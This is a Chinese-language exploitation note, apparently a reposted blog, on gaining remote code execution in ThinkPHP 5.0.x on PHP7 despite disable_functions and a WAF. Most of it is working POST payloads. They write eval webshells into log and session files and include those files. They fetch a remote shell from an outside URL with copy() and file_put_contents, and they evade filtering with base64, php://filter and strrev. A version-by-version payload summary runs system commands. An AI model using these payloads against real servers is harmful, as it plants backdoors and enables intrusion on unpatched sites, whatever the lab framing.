ThinkPHP5.0.X RCE PHP7 利用方式


這篇筆記分類總結了在 php7 並且有 disable_funtion 或waf 的環境下如何利用 thinkphp5.0.x 的 rce。第六節只歸納出打印 phpinfo 或執行 calc 的 payload,詳細寫 shell 的 payload 根據不同的過濾強度記錄在 3.1、3.2、3.3、4.1、4.2 小節的復現過程中。筆記參考了很多師傅的博客,只是自己理順思路、復現漏洞的記錄,所有參考文章已貼在最后。(這篇隨筆就是上篇搭環境提到的學長的任務)

 

一、實驗環境

 

二、基本流程分析

thinkphp5.0.5 和 thinkphp5.0.22 的代碼在基本流程上沒有區別,這里以 5.0.22 版本為例進行代碼分析,由於 thinkphp 框架的請求都先經過 public/index.php,index.php 首先定義了 APP_PATH 常量,是 application 文件夾的路徑,接着包含了框架引導文件 start.php

 

跟進 start.php,包含了一個 base.php 加載基礎文件,然后調用 App::run()->send() 來執行應用

 

跟進 base.php,先是定義了一些 thinkphp 中用到的常量,然后載入 Loader 類、加載環境變量配置文件、注冊自動加載、注冊錯誤和異常處理機制、加載慣例配置文件

 

跟進注冊自動加載的 register 函數

 

接着跟進 Loder::autoload() 函數,關鍵代碼在 82 行的 findFile($class) 函數查找類,85 行的 __indlue__file($file) 將找到的文件包含進來實現自動加載

 

所以在 thinkphp5.0.x+php7 的實戰環境下,當 disable_function 限制了大量函數的時候,可以調用 Loader.php 中的 __include__file 來包含一些日志文件或者 session 文件來 getshell。

 

三、包含日志getshell

3.1本地復現(5.0.5)

thinkphp5.0.5 環境下復現,打印 phpinfo

/index.php?s=captcha
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo

 

寫 shell 到日志文件中

/index.php?s=captcha
_method=__construct&method=get&filter[]=call_user_func&server[]=-1&get[]=<?php eval($_POST['apple']); ?>

 

包含日志文件 getshell

/index.php?s=captcha
_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=../runtime/log/202012/03.log&apple=phpinfo();

 

但是由於一句話和日志混在一起的,日志基本很大,還可能寫入令 php 解析錯誤的垃圾數據,所以通過一句話 copy 新一句話文件

/?s=captcha
_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=../runtime/log/202012/03.log&apple=echo copy("https://www.xxx.com/1.txt","D:/Major/phpstudy_pro/WWW/thinkphp_5.0.5_full/ant.php");

 

但是如果有嚴格的安全限制,比如不能含有 eval 等、日志文件很快被覆蓋、網站目錄被設置防篡改無法寫入文件,這時的思路是,把一個遠程 shell 寫入可寫目錄,再去包含真正的 shell,即可繞過。首先在遠程開一個 httpserver,加一層 url 編碼防止被攔截,把 shell 寫入 C:\Windows\Temp 目錄

/?s=captcha
_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=../runtime/log/202012/03.log&apple=file_put_contents(urldecode("%43%3A%5C%57%69%6E%64%6F%77%73%5C%54%65%6D%70%5C%61%6E%74"),fopen("https://www.xxx.com/1.txt",'r'));

 

查看一下木馬,確定成功寫入,因為直接 var_dump(scandir('C:\Windows\Temp')) 可能會被攔截,所以借助中間變量繞過

/?s=captcha
_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=../runtime/log/202012/03.log&apple=$a="var_dump";$a(scandir(urldecode("%43%3A%5C%57%69%6E%64%6F%77%73%5C%54%65%6D%70")));

 

然后再次包含 C:\Windows\Temp\ant

/?s=captcha
_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=C:\Windows\Temp\ant&ant=phpinfo();

 

如果 thinkphp5.0.5 版本不是完整版,沒有 captcha 路由,post 地址為 /index.php/index 也可以包含日志 getshell

/index.php/index
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo

 

3.2本地復現(5.0.22開啟debug)

在 application/config.php 文件中開啟 debug

 

打印 phpinfo(這里的 phpinfo 信息不完整)

/index.php/index
_method=__construct&filter[]=phpinfo&server[REQUEST_METHOD]=1111111

 

讀取日志

/index.php/index
_method=__construct&filter[]=readfile&server[REQUEST_METHOD]=../runtime/log/202012/04.log

 

寫 shell 到日志文件中

/index.php/index
_method=__construct&filter[]=call_user_func&server[REQUEST_METHOD]=<?php @eval($_POST['cmd']);?>

 

包含日志文件 getshell

/index.php/index
_method=__construct&filter[]=think\__include_file&server[REQUEST_METHOD]=../runtime/log/202012/04.log&cmd=phpinfo();

 

3.3本地復現(5.0.22)

有 captcha 路由時,無需開啟 debug 即可 getshell

/index.php?s=captcha
_method=__construct&filter[]=phpinfo&server[REQUEST_METHOD]=1111111&method=get

 

寫 shell 到日志文件中、包含日志文件 getshell 步驟與 3.1、3.2 小節同理,這里就不重復實驗了。

 

四、包含session文件getshell

4.1本地復現(簡單模式)

經實驗 thinkphp5.0.5 和 5.0.22 版本都可以復現,這里以 5.0.5 版本的截圖為例,首先找到目標 session 保存的位置,一般在 phpinfo 的 session.save_path 有記錄

/index.php?s=captcha
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo

 

寫 shell 到 session 中

/index.php?s=captcha
Cookie: PHPSESSID=505test
_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['cmd'])?>&server[]=1

 

包含 session 文件 getshell

/index.php?s=captcha
_method=__construct&method=get&filter[]=think\__include_file&get[]=D:\Major\phpstudy_pro\Extensions\tmp\tmp\sess_505test&server[]=1&cmd=passthru('ipconfig');

 

4.2本地復現(困難模式)

但如果 disable_function 禁用了很多函數,並且有 waf,攔截了以下內容

php標記:
<?php
<?=
<?

php函數:
base64_decode
file_get_contents
convert_uuencode

關鍵字:
php://

 

繞過 php 標記的思路為,對將要寫入 session 文件的一句話木馬編碼

PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8+ 
<?php @eval($_GET['r']);;?>

 

因為最終的利用是通過 inlcude 方法進行包含,所以想到可以利用 php://filter/read=convert.base64-decode/resource=D:/Major/phpstudy_pro/Extensions/tmp/tmp/sess_505test2 的方式進行解碼,但是 session 里面會包含其他字符,談一談php://filter的妙用 文章有談到如何構造合適的字符,使得 webshell 能夠正確被 base64 解碼。所以設置 session 為

POST /?s=captcha
_method=__construct&filter[]=think\Session::set&method=get&get[]=abPD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8%2bab&server[]=1

(注意:

  • 這里的 + 號需要用 urlencode 編碼為 %2b,不然會在寫入 session 的時候被 urldecode 為空格,導致編碼解碼失敗
  • 用 PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8+ 解碼后為 <?php @eval($_GET['r']);;?> 而不用 PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Pz4= 解碼后為 <?php @eval($_GET['r']);?> 的原因是直接使用前者無論怎么拼湊字符,都沒法正常解碼
  • payload 前后有兩個 ab 是為了讓 shell payload 的前后兩串字符串滿足 base64 解碼的長度,使其能正常解碼

 

繞過 php:// 關鍵字需要審計源碼的 Request.php 的 filterValue 方法是如何執行代碼的,/thinkphp/library/think/Request.php 的 $value = call_user_func($filter, $value); 打斷點,post 如下數據發現 filter 是可以傳遞多個的,同時參數為引用傳遞

/index.php?s=captcha
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo

 

所以可以傳遞多個 filter 來對 value 進行多次傳遞處理,如先 base64_decode 后再將解碼后的值傳遞給 include 進行包含,又因為 waf 對 base64_decode 這個函數進行了過濾的,可以多傳遞一個參數使用 strrev 反轉函數繞過

<?php @eval(base64_decode($_GET['r']));;?>
base64:
PD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX0dFVFsnciddKSk7Oz8+
urlencode編碼:
PD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX0dFVFsnciddKSk7Oz8%2b

 

最終用 php://filter、base64 兩次編碼和 strrev() 反轉函數繞過,寫 shell 到 session 中

/index.php/?s=captcha
Cookie: PHPSESSID=505test2
_method=__construct&filter[]=think\Session::set&method=get&get[]=abPD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX0dFVFsnciddKSk7Oz8%2bab&server[]=1

 

包含 session 文件 getshell

/index.php/?s=captcha&r=cGhwaW5mbygpOw==
_method=__construct&filter[]=strrev&filter[]=think\__include_file&method=get&server[]=1&get[]=2tset505_sses/pmt/pmt/snoisnetxE/orp_ydutsphp/rojaM/:D=ecruoser/edoced-46esab.trevnoc=daer/retlif//:php

 

五、代碼分析

ThinkPHP 5.0.0~5.0.23 Request類任意方法調用導致RCE漏洞分析 分析了漏洞的成因和 poc 的構造,又由於 thinkphp<=5.0.12 和 5.0.12<thinkphp<5.0.24 版本在實現細節上有一些不同,導致漏洞利用方式不同,所以 5.0.13 版本之后通常需要開啟 debug 才能 rce,Thinkphp5 RCE總結 列舉了各個版本的 rce,比較分析了 5.0.5 和 5.0.22 的版本和 debug 選項的關系。(師傅們是最強的!我再好好學學 php 一定跟一遍!)

 

六、payload總結

thinkphp<=5.0.12 時 payload 如下

/index.php?s=captcha
/index.php/index(無captcha路由)
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo

 

5.0.12<thinkphp<5.0.24 並開啟 debug 時 payload 如下

?s=index/index
_method=__construct&filter[]=system&server[REQUEST_METHOD]=calc

 

5.0.12<thinkphp<5.0.24 有 captcha 路由,無需開啟 debug 時 payload 如下

?s=captcha
_method=__construct&filter[]=system&server[REQUEST_METHOD]=calc&method=get

 

參考文章

https://mp.weixin.qq.com/s?__biz=MzUyMDEyNTkwNA==&mid=2247484802&idx=1&sn=7db0b7acc809bc312f4ad89a718cd2d7

https://blog.csdn.net/qq_41891666/article/details/109505570

https://www.mrwu.red/web/3348.html

http://www.0x3.biz/tag/ThinkPHP5%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/

https://www.cnblogs.com/whoami101/archive/2004/01/13/13364884.html

https://forum.90sec.com/t/topic/704

https://www.leavesongs.com/PENETRATION/php-filter-magic.html

https://www.cnblogs.com/timelesszhuang/p/3682767.html

https://xz.aliyun.com/t/6106

https://www.smi1e.top/thinkphp-5-0-05-0-23-rce-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM